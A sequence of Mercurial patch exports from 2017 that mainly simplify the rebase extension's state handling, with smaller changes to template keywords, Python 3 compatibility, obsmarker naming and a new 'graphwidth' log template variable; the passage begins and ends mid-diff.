+  2:1e9a3c00cbe9 b (no-eol)
 
 Check that bookmark was not moved to rev 3 if rev 2 was skipped during the
 rebase operation. This makes sense because if rev 2 has a successor, the
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1499571514 25200
#      Sat Jul 08 20:38:34 2017 -0700
# Node ID 437e317d7913e38fed4b66c7c1c2d1d2963b22ca
# Parent  d8d0ef5f5975c2e70203c3c1df8860acdf177470
rebase: remove messages for nullmerge and revignored (BC)

These states will be removed to make the code cleaner and more robust.
Remove their messages first to make review easier.

Differential Revision: https://phab.mercurial-scm.org/D25

diff --git a/hgext/rebase.py b/hgext/rebase.py
--- a/hgext/rebase.py
+++ b/hgext/rebase.py
@@ -440,9 +440,9 @@
                     self.state[rev] = p1
                     ui.debug('next revision set to %s\n' % p1)
             elif self.state[rev] == nullmerge:
-                ui.debug('ignoring null merge rebase of %s\n' % rev)
+                pass
             elif self.state[rev] == revignored:
-                ui.status(_('not rebasing ignored %s\n') % desc)
+                pass
             else:
                 ui.status(_('already rebased %s as %s\n') %
                           (desc, repo[self.state[rev]]))
diff --git a/tests/test-rebase-conflicts.t b/tests/test-rebase-conflicts.t
--- a/tests/test-rebase-conflicts.t
+++ b/tests/test-rebase-conflicts.t
@@ -235,10 +235,6 @@
   $ hg rebase -s9 -d2 --debug # use debug to really check merge base used
   rebase onto 4bc80088dc6b starting from e31216eec445
   rebase status stored
-  ignoring null merge rebase of 3
-  ignoring null merge rebase of 4
-  ignoring null merge rebase of 6
-  ignoring null merge rebase of 8
   rebasing 9:e31216eec445 "more changes to f1"
    future parents are 2 and -1
   rebase status stored
@@ -413,7 +409,6 @@
   continue: hg rebase --continue
   $ hg rebase --continue --config experimental.stabilization=none
   rebasing 1:112478962961 "B" (B)
-  not rebasing ignored 2:26805aba1e60 "C" (C)
   rebasing 3:f585351a92f8 "D" (D)
   warning: orphaned descendants detected, not stripping 112478962961
   saved backup bundle to $TESTTMP/b/.hg/strip-backup/f585351a92f8-e536a9e4-rebase.hg (glob)
diff --git a/tests/test-rebase-obsolete.t b/tests/test-rebase-obsolete.t
--- a/tests/test-rebase-obsolete.t
+++ b/tests/test-rebase-obsolete.t
@@ -450,7 +450,6 @@
   $ hg rebase --dest 4 --rev '7+11+9'
   rebasing 9:cf44d2f5a9f4 "D"
   rebasing 7:02de42196ebe "H"
-  not rebasing ignored 10:7c6027df6a99 "B"
   rebasing 11:0d8f238b634c "C" (tip)
   $ hg log -G
   o  14:1e8370e38cca C
@@ -491,8 +490,6 @@
   $ hg rebase -d G -r 'B + D + F'
   rebasing 1:112478962961 "B" (B)
   rebasing 2:b18e25de2cf5 "D" (D)
-  not rebasing ignored 4:26805aba1e60 "C" (C)
-  not rebasing ignored 5:4b61ff5c62e2 "E" (E)
   rebasing 6:f15c3adaf214 "F" (F tip)
   abort: cannot rebase 6:f15c3adaf214 without moving at least one of its parents
   [255]
@@ -546,7 +543,6 @@
   $ hg rebase --dest 6 --rev '((desc(H) + desc(D))::) - desc(M)'
   rebasing 3:32af7686d403 "D"
   rebasing 7:02de42196ebe "H"
-  not rebasing ignored 8:53a6a128b2b7 "M"
   rebasing 9:4bde274eefcf "I" (tip)
   $ hg log -G
   @  12:acd174b7ab39 I
diff --git a/tests/test-rebase-partial.t b/tests/test-rebase-partial.t
--- a/tests/test-rebase-partial.t
+++ b/tests/test-rebase-partial.t
@@ -81,7 +81,6 @@
   > A
   > EOF
   already rebased 1:112478962961 "B" (B)
-  not rebasing ignored 2:26805aba1e60 "C" (C)
   rebasing 3:f585351a92f8 "D" (D tip)
   o  4: D
   |
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1499714312 25200
#      Mon Jul 10 12:18:32 2017 -0700
# Node ID 3ddbab49efcf56f93002e9e6c6b542416003d532
# Parent  437e317d7913e38fed4b66c7c1c2d1d2963b22ca
rebase: remove revignored and nullmerge states

They are no longer necessary to make rebase behavior correct. Therefore
remove them to make the code cleaner and easier to reason about.

Differential Revision: https://phab.mercurial-scm.org/D26

diff --git a/hgext/rebase.py b/hgext/rebase.py
--- a/hgext/rebase.py
+++ b/hgext/rebase.py
@@ -60,12 +60,10 @@
 
 # Indicates that a revision needs to be rebased
 revtodo = -1
-nullmerge = -2
-revignored = -3
 
 # legacy revstates no longer needed in current code
-# -4: revprecursor, -5: revpruned
-legacystates = {'-4', '-5'}
+# -2: nullmerge, -3: revignored, -4: revprecursor, -5: revpruned
+legacystates = {'-2', '-3', '-4', '-5'}
 
 cmdtable = {}
 command = registrar.command(cmdtable)
@@ -233,8 +231,6 @@
                     oldrev, newrev = l.split(':')
                     if newrev in legacystates:
                         continue
-                    if newrev in (str(nullmerge), str(revignored)):
-                        state[repo[oldrev].rev()] = int(newrev)
                     elif newrev == nullid:
                         state[repo[oldrev].rev()] = revtodo
                         # Legacy compat special case
@@ -439,10 +435,6 @@
                         self.skipped.add(rev)
                     self.state[rev] = p1
                     ui.debug('next revision set to %s\n' % p1)
-            elif self.state[rev] == nullmerge:
-                pass
-            elif self.state[rev] == revignored:
-                pass
             else:
                 ui.status(_('already rebased %s as %s\n') %
                           (desc, repo[self.state[rev]]))
@@ -463,7 +455,7 @@
                 commitmsg = 'Collapsed revision'
                 for rebased in sorted(self.state):
                     if rebased not in self.skipped and\
-                       self.state[rebased] > nullmerge:
+                       self.state[rebased] >= revtodo:
                         commitmsg += '\n* %s' % repo[rebased].description()
                 editopt = True
             editor = cmdutil.getcommiteditor(edit=editopt, editform=editform)
@@ -484,7 +476,7 @@
             else:
                 newrev = repo[newnode].rev()
             for oldrev in self.state.iterkeys():
-                if self.state[oldrev] > nullmerge:
+                if self.state[oldrev] >= revtodo:
                     self.state[oldrev] = newrev
 
         if 'qtip' in repo.tags():
@@ -1318,7 +1310,6 @@
         raise error.Abort(_('no matching revisions'))
     roots.sort()
     state = dict.fromkeys(rebaseset, revtodo)
-    detachset = set()
     emptyrebase = True
     for root in roots:
         commonbase = root.ancestor(dest)
@@ -1340,47 +1331,6 @@
 
         emptyrebase = False
         repo.ui.debug('rebase onto %s starting from %s\n' % (dest, root))
-        # Rebase tries to turn <dest> into a parent of <root> while
-        # preserving the number of parents of rebased changesets:
-        #
-        # - A changeset with a single parent will always be rebased as a
-        #   changeset with a single parent.
-        #
-        # - A merge will be rebased as merge unless its parents are both
-        #   ancestors of <dest> or are themselves in the rebased set and
-        #   pruned while rebased.
-        #
-        # If one parent of <root> is an ancestor of <dest>, the rebased
-        # version of this parent will be <dest>. This is always true with
-        # --base option.
-        #
-        # Otherwise, we need to *replace* the original parents with
-        # <dest>. This "detaches" the rebased set from its former location
-        # and rebases it onto <dest>. Changes introduced by ancestors of
-        # <root> not common with <dest> (the detachset, marked as
-        # nullmerge) are "removed" from the rebased changesets.
-        #
-        # - If <root> has a single parent, set it to <dest>.
-        #
-        # - If <root> is a merge, we cannot decide which parent to
-        #   replace, the rebase operation is not clearly defined.
-        #
-        # The table below sums up this behavior:
-        #
-        # +------------------+----------------------+-------------------------+
-        # |                  |     one parent       |  merge                  |
-        # +------------------+----------------------+-------------------------+
-        # | parent in        | new parent is <dest> | parents in ::<dest> are |
-        # | ::<dest>         |                      | remapped to <dest>      |
-        # +------------------+----------------------+-------------------------+
-        # | unrelated source | new parent is <dest> | ambiguous, abort        |
-        # +------------------+----------------------+-------------------------+
-        #
-        # The actual abort is handled by `defineparents`
-        if len(root.parents()) <= 1:
-            # ancestors of <root> not ancestors of <dest>
-            detachset.update(repo.changelog.findmissingrevs([commonbase.rev()],
-                                                            [root.rev()]))
     if emptyrebase:
         return None
     for rev in sorted(state):
@@ -1388,18 +1338,6 @@
         # if all parents of this revision are done, then so is this revision
         if parents and all((state.get(p) == p for p in parents)):
             state[rev] = rev
-    for r in detachset:
-        if r not in state:
-            state[r] = nullmerge
-    if len(roots) > 1:
-        # If we have multiple roots, we may have "hole" in the rebase set.
-        # Rebase roots that descend from those "hole" should not be detached as
-        # other root are. We use the special `revignored` to inform rebase that
-        # the revision should be ignored but that `defineparents` should search
-        # a rebase destination that make sense regarding rebased topology.
-        rebasedomain = set(repo.revs('%ld::%ld', rebaseset, rebaseset))
-        for ignored in set(rebasedomain) - set(rebaseset):
-            state[ignored] = revignored
     unfi = repo.unfiltered()
     for r in obsoletenotrebased:
         desc = _ctxdesc(unfi[r])
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1500048105 25200
#      Fri Jul 14 09:01:45 2017 -0700
# Node ID 3b04a6ff625c20f7bd9b1aa41b0b744d00f8b192
# Parent  3ddbab49efcf56f93002e9e6c6b542416003d532
rebase: remove rebaseset from _checkobsrebase

The parameter is not used. Therefore removed.

Differential Revision: https://phab.mercurial-scm.org/D85

diff --git a/hgext/rebase.py b/hgext/rebase.py
--- a/hgext/rebase.py
+++ b/hgext/rebase.py
@@ -279,12 +279,11 @@
         if not self.ui.configbool('experimental', 'rebaseskipobsolete',
                                   default=True):
             return
-        rebaseset = set(rebaserevs)
         obsoleteset = set(obsoleterevs)
         self.obsoletenotrebased = _computeobsoletenotrebased(self.repo,
                                     obsoleteset, dest)
         skippedset = set(self.obsoletenotrebased)
-        _checkobsrebase(self.repo, self.ui, obsoleteset, rebaseset, skippedset)
+        _checkobsrebase(self.repo, self.ui, obsoleteset, skippedset)
 
     def _prepareabortorcontinue(self, isabort):
         try:
@@ -939,12 +938,11 @@
         result.append(adjusted)
     return result
 
-def _checkobsrebase(repo, ui, rebaseobsrevs, rebasesetrevs, rebaseobsskipped):
+def _checkobsrebase(repo, ui, rebaseobsrevs, rebaseobsskipped):
     """
     Abort if rebase will create divergence or rebase is noop because of markers
 
     `rebaseobsrevs`: set of obsolete revision in source
-    `rebasesetrevs`: set of revisions to be rebased from source
     `rebaseobsskipped`: set of revisions from source skipped because they have
     successors in destination
     """
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1502438747 25200
#      Fri Aug 11 01:05:47 2017 -0700
# Node ID ddf77c0cc169be436f9d428493059e3a0cf1f985
# Parent  3b04a6ff625c20f7bd9b1aa41b0b744d00f8b192
rebase: remove self.destancestors

The state is no longer used after calculating "self.external", therefore
removed.

Differential Revision: https://phab.mercurial-scm.org/D343

diff --git a/hgext/rebase.py b/hgext/rebase.py
--- a/hgext/rebase.py
+++ b/hgext/rebase.py
@@ -148,7 +148,6 @@
         self.activebookmark = None
         self.dest = None
         self.skipped = set()
-        self.destancestors = set()
 
         self.collapsef = opts.get('collapse', False)
         self.collapsemsg = cmdutil.logmessage(ui, opts)
@@ -336,11 +335,9 @@
 
         (self.originalwd, self.dest, self.state) = result
         if self.collapsef:
-            self.destancestors = self.repo.changelog.ancestors(
-                                        [self.dest],
-                                        inclusive=True)
-            self.external = externalparent(self.repo, self.state,
-                                              self.destancestors)
+            destancestors = self.repo.changelog.ancestors([self.dest],
+                                                          inclusive=True)
+            self.external = externalparent(self.repo, self.state, destancestors)
 
         if dest.closesbranch() and not self.keepbranchesf:
             self.ui.status(_('reopening closed branch head %s\n') % dest)
@@ -360,11 +357,6 @@
                         raise error.Abort(_('cannot collapse multiple named '
                             'branches'))
 
-        # Rebase
-        if not self.destancestors:
-            self.destancestors = repo.changelog.ancestors([self.dest],
-                                                          inclusive=True)
-
         # Keep track of the active bookmarks in order to reset them later
         self.activebookmark = self.activebookmark or repo._activebookmark
         if self.activebookmark:
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1502440619 25200
#      Fri Aug 11 01:36:59 2017 -0700
# Node ID bc9e075133c9cf890f1ce328787dea68260bc74c
# Parent  ddf77c0cc169be436f9d428493059e3a0cf1f985
rebase: remove "state >= revtodo" condition

Now the minimal value of state is revtodo, that condition is always true,
therefore removed.

Differential Revision: https://phab.mercurial-scm.org/D344

diff --git a/hgext/rebase.py b/hgext/rebase.py
--- a/hgext/rebase.py
+++ b/hgext/rebase.py
@@ -445,8 +445,7 @@
             else:
                 commitmsg = 'Collapsed revision'
                 for rebased in sorted(self.state):
-                    if rebased not in self.skipped and\
-                       self.state[rebased] >= revtodo:
+                    if rebased not in self.skipped:
                         commitmsg += '\n* %s' % repo[rebased].description()
                 editopt = True
             editor = cmdutil.getcommiteditor(edit=editopt, editform=editform)
@@ -467,8 +466,7 @@
             else:
                 newrev = repo[newnode].rev()
             for oldrev in self.state.iterkeys():
-                if self.state[oldrev] >= revtodo:
-                    self.state[oldrev] = newrev
+                self.state[oldrev] = newrev
 
         if 'qtip' in repo.tags():
             updatemq(repo, self.state, self.skipped, **opts)
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1502438887 25200
#      Fri Aug 11 01:08:07 2017 -0700
# Node ID 3ae2eaecb49e278c289e519f7a4e22b048a4e14c
# Parent  bc9e075133c9cf890f1ce328787dea68260bc74c
rebase: optimize "source" calculation in adjustdest

The "source" variable is calculated inside a loop but it does not depend on
loop variables. Therefore move it outside the loop.

Differential Revision: https://phab.mercurial-scm.org/D345

diff --git a/hgext/rebase.py b/hgext/rebase.py
--- a/hgext/rebase.py
+++ b/hgext/rebase.py
@@ -916,12 +916,13 @@
         |/          |/
         A           A
     """
+    # pick already rebased revs from state
+    source = [s for s, d in state.items() if d > 0]
+
     result = []
     for prev in repo.changelog.parentrevs(rev):
         adjusted = dest
         if prev != nullrev:
-            # pick already rebased revs from state
-            source = [s for s, d in state.items() if d > 0]
             candidate = repo.revs('max(%ld and (::%d))', source, prev).first()
             if candidate is not None:
                 adjusted = state[candidate]
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1502859439 -32400
#      Wed Aug 16 13:57:19 2017 +0900
# Node ID 84a3e04e35b55e653076ec6616b7089c0f66c978
# Parent  3ae2eaecb49e278c289e519f7a4e22b048a4e14c
templatekw: rename termwidth() per convention

diff --git a/mercurial/templatekw.py b/mercurial/templatekw.py
--- a/mercurial/templatekw.py
+++ b/mercurial/templatekw.py
@@ -760,7 +760,7 @@
         keywords[name] = func
 
 @templatekeyword('termwidth')
-def termwidth(repo, ctx, templ, **args):
+def showtermwidth(repo, ctx, templ, **args):
     """Integer. The width of the current terminal."""
     return repo.ui.termwidth()
 
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1502601148 -32400
#      Sun Aug 13 14:12:28 2017 +0900
# Node ID 7827fbbd0b0684b1e47f5fd4eab4dadf13a634df
# Parent  84a3e04e35b55e653076ec6616b7089c0f66c978
templatekw: specify plural form of instability

Follows up 40739aef97f7.

diff --git a/mercurial/templatekw.py b/mercurial/templatekw.py
--- a/mercurial/templatekw.py
+++ b/mercurial/templatekw.py
@@ -783,7 +783,8 @@
     (EXPERIMENTAL)
     """
     args = pycompat.byteskwargs(args)
-    return showlist('instability', args['ctx'].instabilities(), args)
+    return showlist('instability', args['ctx'].instabilities(), args,
+                    plural='instabilities')
 
 # tell hggettext to extract docstrings from these functions:
 i18nfunctions = keywords.values()
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1502859011 -32400
#      Wed Aug 16 13:50:11 2017 +0900
# Node ID f18b11534274be15d64209a9e5dd972217262915
# Parent  7827fbbd0b0684b1e47f5fd4eab4dadf13a634df
py3: make encoding.strio() an identity function on Python 2

It's the convention the other encoding.str*() functions follow. To make things
simple, this also drops kwargs from the strio() constructor.

diff --git a/mercurial/encoding.py b/mercurial/encoding.py
--- a/mercurial/encoding.py
+++ b/mercurial/encoding.py
@@ -575,15 +575,17 @@
         r += c
     return r
 
-class strio(io.TextIOWrapper):
-    """Wrapper around TextIOWrapper that respects hg's encoding assumptions.
+if pycompat.ispy3:
+    class strio(io.TextIOWrapper):
+        """Wrapper around TextIOWrapper that respects hg's encoding assumptions.
 
-    Also works around Python closing streams.
-    """
+        Also works around Python closing streams.
+        """
 
-    def __init__(self, buffer, **kwargs):
-        kwargs[r'encoding'] = _sysstr(encoding)
-        super(strio, self).__init__(buffer, **kwargs)
+        def __init__(self, buffer):
+            super(strio, self).__init__(buffer, encoding=_sysstr(encoding))
 
-    def __del__(self):
-        """Override __del__ so it doesn't close the underlying stream."""
+        def __del__(self):
+            """Override __del__ so it doesn't close the underlying stream."""
+else:
+    strio = pycompat.identity
diff --git a/mercurial/util.py b/mercurial/util.py
--- a/mercurial/util.py
+++ b/mercurial/util.py
@@ -175,11 +175,10 @@
 def bytesinput(fin, fout, *args, **kwargs):
     sin, sout = sys.stdin, sys.stdout
     try:
+        sys.stdin, sys.stdout = encoding.strio(fin), encoding.strio(fout)
         if pycompat.ispy3:
-            sys.stdin, sys.stdout = encoding.strio(fin), encoding.strio(fout)
             return encoding.strtolocal(input(*args, **kwargs))
         else:
-            sys.stdin, sys.stdout = fin, fout
             return raw_input(*args, **kwargs)
     finally:
         sys.stdin, sys.stdout = sin, sout
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1502859264 -32400
#      Wed Aug 16 13:54:24 2017 +0900
# Node ID cfcfbe6c96f8140c16cb228b59e86d15560de098
# Parent  f18b11534274be15d64209a9e5dd972217262915
py3: select input or raw_input by pycompat

This seems slightly cleaner.

diff --git a/mercurial/pycompat.py b/mercurial/pycompat.py
--- a/mercurial/pycompat.py
+++ b/mercurial/pycompat.py
@@ -63,6 +63,7 @@
         sysexecutable = os.fsencode(sysexecutable)
     stringio = io.BytesIO
     maplist = lambda *args: list(map(*args))
+    rawinput = input
 
     # TODO: .buffer might not exist if std streams were replaced; we'll need
     # a silly wrapper to make a bytes stream backed by a unicode one.
@@ -312,6 +313,7 @@
     shlexsplit = shlex.split
     stringio = cStringIO.StringIO
     maplist = map
+    rawinput = raw_input
 
 class _pycompatstub(object):
     def __init__(self):
diff --git a/mercurial/util.py b/mercurial/util.py
--- a/mercurial/util.py
+++ b/mercurial/util.py
@@ -176,10 +176,7 @@
     sin, sout = sys.stdin, sys.stdout
     try:
         sys.stdin, sys.stdout = encoding.strio(fin), encoding.strio(fout)
-        if pycompat.ispy3:
-            return encoding.strtolocal(input(*args, **kwargs))
-        else:
-            return raw_input(*args, **kwargs)
+        return encoding.strtolocal(pycompat.rawinput(*args, **kwargs))
     finally:
         sys.stdin, sys.stdout = sin, sout
 
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1502842977 25200
#      Tue Aug 15 17:22:57 2017 -0700
# Node ID f6dc30b8343260a0ae43314f90ec6d5838c3d598
# Parent  cfcfbe6c96f8140c16cb228b59e86d15560de098
push: fix docsstring

Seems the code block misses `::`. This patch makes sure `[push]` and
`pushvars.server = true` are in two lines.

Differential Revision: https://phab.mercurial-scm.org/D411

diff --git a/mercurial/commands.py b/mercurial/commands.py
--- a/mercurial/commands.py
+++ b/mercurial/commands.py
@@ -4022,7 +4022,7 @@
         strings that look like conflict markers.
 
         By default, servers will ignore `--pushvars`. To enable it add the
-        following to your configuration file
+        following to your configuration file::
 
             [push]
             pushvars.server = true
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1502894921 -7200
#      Wed Aug 16 16:48:41 2017 +0200
# Node ID 457d1ebf151bc835dbee84668689dd014fb62a47
# Parent  f6dc30b8343260a0ae43314f90ec6d5838c3d598
revset: mark evolution-related revsets as experimental

Differential Revision: https://phab.mercurial-scm.org/D416

diff --git a/mercurial/revset.py b/mercurial/revset.py
--- a/mercurial/revset.py
+++ b/mercurial/revset.py
@@ -470,6 +470,7 @@
     """Mutable changesets marked as successors of public changesets.
 
     Only non-public and non-obsolete changesets can be `phasedivergent`.
+    (EXPERIMENTAL)
     """
     # i18n: "phasedivergent" is a keyword
     getargs(x, 0, 0, _("phasedivergent takes no arguments"))
@@ -728,7 +729,8 @@
 @predicate('contentdivergent()', safe=True)
 def contentdivergent(repo, subset, x):
     """
-    Final successors of changesets with an alternative set of final successors.
+    Final successors of changesets with an alternative set of final
+    successors. (EXPERIMENTAL)
     """
     # i18n: "contentdivergent" is a keyword
     getargs(x, 0, 0, _("contentdivergent takes no arguments"))
@@ -1943,7 +1945,7 @@
 
 @predicate('orphan()', safe=True)
 def orphan(repo, subset, x):
-    """Non-obsolete changesets with obsolete ancestors.
+    """Non-obsolete changesets with obsolete ancestors. (EXPERIMENTAL)
     """
     # i18n: "orphan" is a keyword
     getargs(x, 0, 0, _("orphan takes no arguments"))
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1502871986 -7200
#      Wed Aug 16 10:26:26 2017 +0200
# Node ID eae63a9e59da7452639e4dbebefc8365296cf0bb
# Parent  457d1ebf151bc835dbee84668689dd014fb62a47
obsmarker: precnode was renamed into prednode

Update all calls to formatter.write first arguments to remove references to
precnode and use prednode consistently everywhere.

Differential Revision: https://phab.mercurial-scm.org/D414

diff --git a/mercurial/cmdutil.py b/mercurial/cmdutil.py
--- a/mercurial/cmdutil.py
+++ b/mercurial/cmdutil.py
@@ -2019,7 +2019,7 @@
     To be used by debug function."""
     if index is not None:
         fm.write('index', '%i ', index)
-    fm.write('precnode', '%s ', hex(marker.prednode()))
+    fm.write('prednode', '%s ', hex(marker.prednode()))
     succs = marker.succnodes()
     fm.condwrite(succs, 'succnodes', '%s ',
                  fm.formatlist(map(hex, succs), name='node'))
diff --git a/tests/test-obsolete.t b/tests/test-obsolete.t
--- a/tests/test-obsolete.t
+++ b/tests/test-obsolete.t
@@ -699,42 +699,42 @@
     "date": [1339.0, 0],
     "flag": 0,
     "metadata": {"user": "test"},
-    "precnode": "1339133913391339133913391339133913391339",
+    "prednode": "1339133913391339133913391339133913391339",
     "succnodes": ["ca819180edb99ed25ceafb3e9584ac287e240b00"]
    },
    {
     "date": [1339.0, 0],
     "flag": 0,
     "metadata": {"user": "test"},
-    "precnode": "1337133713371337133713371337133713371337",
+    "prednode": "1337133713371337133713371337133713371337",
     "succnodes": ["5601fb93a350734d935195fee37f4054c529ff39"]
    },
    {
     "date": [121.0, 120],
     "flag": 12,
     "metadata": {"user": "test"},
-    "precnode": "245bde4270cd1072a27757984f9cda8ba26f08ca",
+    "prednode": "245bde4270cd1072a27757984f9cda8ba26f08ca",
     "succnodes": ["cdbce2fbb16313928851e97e0d85413f3f7eb77f"]
    },
    {
     "date": [1338.0, 0],
     "flag": 1,
     "metadata": {"user": "test"},
-    "precnode": "5601fb93a350734d935195fee37f4054c529ff39",
+    "prednode": "5601fb93a350734d935195fee37f4054c529ff39",
     "succnodes": ["6f96419950729f3671185b847352890f074f7557"]
    },
    {
     "date": [1338.0, 0],
     "flag": 0,
     "metadata": {"user": "test"},
-    "precnode": "ca819180edb99ed25ceafb3e9584ac287e240b00",
+    "prednode": "ca819180edb99ed25ceafb3e9584ac287e240b00",
     "succnodes": ["1337133713371337133713371337133713371337"]
    },
    {
     "date": [1337.0, 0],
     "flag": 0,
     "metadata": {"user": "test"},
-    "precnode": "cdbce2fbb16313928851e97e0d85413f3f7eb77f",
+    "prednode": "cdbce2fbb16313928851e97e0d85413f3f7eb77f",
     "succnodes": ["ca819180edb99ed25ceafb3e9584ac287e240b00"]
    },
    {
@@ -742,14 +742,14 @@
     "flag": 0,
     "metadata": {"user": "test"},
     "parentnodes": ["6f96419950729f3671185b847352890f074f7557"],
-    "precnode": "94b33453f93bdb8d457ef9b770851a618bf413e1",
+    "prednode": "94b33453f93bdb8d457ef9b770851a618bf413e1",
     "succnodes": []
    },
    {
     "date": *, (glob)
     "flag": 0,
     "metadata": {"user": "test <test@example.net>"},
-    "precnode": "cda648ca50f50482b7055c0b0c4c117bba6733d9",
+    "prednode": "cda648ca50f50482b7055c0b0c4c117bba6733d9",
     "succnodes": ["3de5eca88c00aa039da7399a220f4a5221faa585"]
    }
   ]
@@ -1447,7 +1447,7 @@
     "flag": 0,
     "index": 1,
     "metadata": {"user": "test"},
-    "precnode": "6fdef60fcbabbd3d50e9b9cbc2a240724b91a5e1",
+    "prednode": "6fdef60fcbabbd3d50e9b9cbc2a240724b91a5e1",
     "succnodes": ["d27fb9b066076fd921277a4b9e8b9cb48c95bc6a"]
    },
    {
@@ -1455,7 +1455,7 @@
     "flag": 0,
     "index": 3,
     "metadata": {"operation": "amend", "user": "test"},
-    "precnode": "4715cf767440ed891755448016c2b8cf70760c30",
+    "prednode": "4715cf767440ed891755448016c2b8cf70760c30",
     "succnodes": ["7ae79c5d60f049c7b0dd02f5f25b9d60aaf7b36d"]
    }
   ]
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1502871537 -7200
#      Wed Aug 16 10:18:57 2017 +0200
# Node ID 833f70277f0ed217a342df7a75897147e02bd370
# Parent  eae63a9e59da7452639e4dbebefc8365296cf0bb
obsmarker: fix precnode deprecation

The deprecation message for marker.precnode was wrong. Fix the typo.

Differential Revision: https://phab.mercurial-scm.org/D413

diff --git a/mercurial/obsutil.py b/mercurial/obsutil.py
--- a/mercurial/obsutil.py
+++ b/mercurial/obsutil.py
@@ -31,7 +31,7 @@
 
     def precnode(self):
         msg = ("'marker.precnode' is deprecated, "
-               "use 'marker.precnode'")
+               "use 'marker.prednode'")
         util.nouideprecwarn(msg, '4.4')
         return self.prednode()
 
# HG changeset patch
# User Danny Hooper <hooper@google.com>
# Date 1502817331 25200
#      Tue Aug 15 10:15:31 2017 -0700
# Node ID 6f6c87888b228948e202bd5967dc306bed56af7d
# Parent  833f70277f0ed217a342df7a75897147e02bd370
log: add a "graphwidth" template variable

Wrapping text in templates for 'hg log --graph' can't be done very well,
because the template doesn't know how wide the graph drawing is. The edge
drawing function needs to know the number of lines in the template output, so
we need to also determine how wide that drawing would be before we call the
edgefn or evaluate the template.

This patch makes edgefn compute the graph width and pass it into the template
so that we can do something like this:

COLUMNS=10 hg log --graph --template "{fill(desc, termwidth - graphwidth)}"
@  a a a a
|  a a a a
|  a a a a
o    a a a
|\   a a a
| |  a a a
| |  a a a

Using extensions to do this would be relatively complicated due to a lack of
hooks in this area of the code.

In the future it may make sense to have a more generic "textwidth" that tells
you how many columns you can expect to fill without causing the terminal to
wrap your output. I'm not sure there are other situations to motivate this yet,
or if it is entirely feasible.

Differential Revision: https://phab.mercurial-scm.org/D360

diff --git a/mercurial/cmdutil.py b/mercurial/cmdutil.py
--- a/mercurial/cmdutil.py
+++ b/mercurial/cmdutil.py
@@ -2652,14 +2652,18 @@
         revmatchfn = None
         if filematcher is not None:
             revmatchfn = filematcher(ctx.rev())
-        displayer.show(ctx, copies=copies, matchfn=revmatchfn)
+        edges = edgefn(type, char, state, rev, parents)
+        firstedge = next(edges)
+        width = firstedge[2]
+        displayer.show(ctx, copies=copies, matchfn=revmatchfn,
+                       _graphwidth=width)
         lines = displayer.hunk.pop(rev).split('\n')
         if not lines[-1]:
             del lines[-1]
         displayer.flush(ctx)
-        edges = edgefn(type, char, lines, state, rev, parents)
-        for type, char, lines, coldata in edges:
+        for type, char, width, coldata in itertools.chain([firstedge], edges):
             graphmod.ascii(ui, state, type, char, lines, coldata)
+            lines = []
     displayer.close()
 
 def graphlog(ui, repo, pats, opts):
diff --git a/mercurial/graphmod.py b/mercurial/graphmod.py
--- a/mercurial/graphmod.py
+++ b/mercurial/graphmod.py
@@ -172,7 +172,7 @@
         yield (cur, type, data, (col, color), edges)
         seen = next
 
-def asciiedges(type, char, lines, state, rev, parents):
+def asciiedges(type, char, state, rev, parents):
     """adds edge info to changelog DAG walk suitable for ascii()"""
     seen = state['seen']
     if rev not in seen:
@@ -192,6 +192,7 @@
             state['edges'][parent] = state['styles'].get(ptype, '|')
 
     ncols = len(seen)
+    width = 1 + ncols * 2
     nextseen = seen[:]
     nextseen[nodeidx:nodeidx + 1] = newparents
     edges = [(nodeidx, nextseen.index(p)) for p in knownparents]
@@ -205,9 +206,9 @@
         edges.append((nodeidx, nodeidx))
         edges.append((nodeidx, nodeidx + 1))
         nmorecols = 1
-        yield (type, char, lines, (nodeidx, edges, ncols, nmorecols))
+        width += 2
+        yield (type, char, width, (nodeidx, edges, ncols, nmorecols))
         char = '\\'
-        lines = []
         nodeidx += 1
         ncols += 1
         edges = []
@@ -218,9 +219,11 @@
     if len(newparents) > 1:
         edges.append((nodeidx, nodeidx + 1))
     nmorecols = len(nextseen) - ncols
+    if nmorecols > 0:
+        width += 2
     # remove current node from edge characters, no longer needed
     state['edges'].pop(rev, None)
-    yield (type, char, lines, (nodeidx, edges, ncols, nmorecols))
+    yield (type, char, width, (nodeidx, edges, ncols, nmorecols))
 
 def _fixlongrightedges(edges):
     for (i, (start, end)) in enumerate(edges):
diff --git a/mercurial/templatekw.py b/mercurial/templatekw.py
--- a/mercurial/templatekw.py
+++ b/mercurial/templatekw.py
@@ -469,6 +469,13 @@
     else:
         return 'o'
 
+@templatekeyword('graphwidth')
+def showgraphwidth(repo, ctx, templ, **args):
+    """Integer. The width of the graph drawn by 'log --graph' or zero."""
+    # The value args['graphwidth'] will be this function, so we use an internal
+    # name to pass the value through props into this function.
+    return args.get('_graphwidth', 0)
+
 @templatekeyword('index')
 def showindex(**args):
     """Integer. The current iteration of the loop. (0 indexed)"""
diff --git a/tests/test-command-template.t b/tests/test-command-template.t
--- a/tests/test-command-template.t
+++ b/tests/test-command-template.t
@@ -4319,3 +4319,155 @@
   custom
 
   $ cd ..
+
+Test 'graphwidth' in 'hg log' on various topologies. The key here is that the
+printed graphwidths 3, 5, 7, etc. should all line up in their respective
+columns. We don't care about other aspects of the graph rendering here.
+
+  $ hg init graphwidth
+  $ cd graphwidth
+
+  $ wrappabletext="a a a a a a a a a a a a"
+
+  $ printf "first\n" > file
+  $ hg add file
+  $ hg commit -m "$wrappabletext"
+
+  $ printf "first\nsecond\n" > file
+  $ hg commit -m "$wrappabletext"
+
+  $ hg checkout 0
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  $ printf "third\nfirst\n" > file
+  $ hg commit -m "$wrappabletext"
+  created new head
+
+  $ hg merge
+  merging file
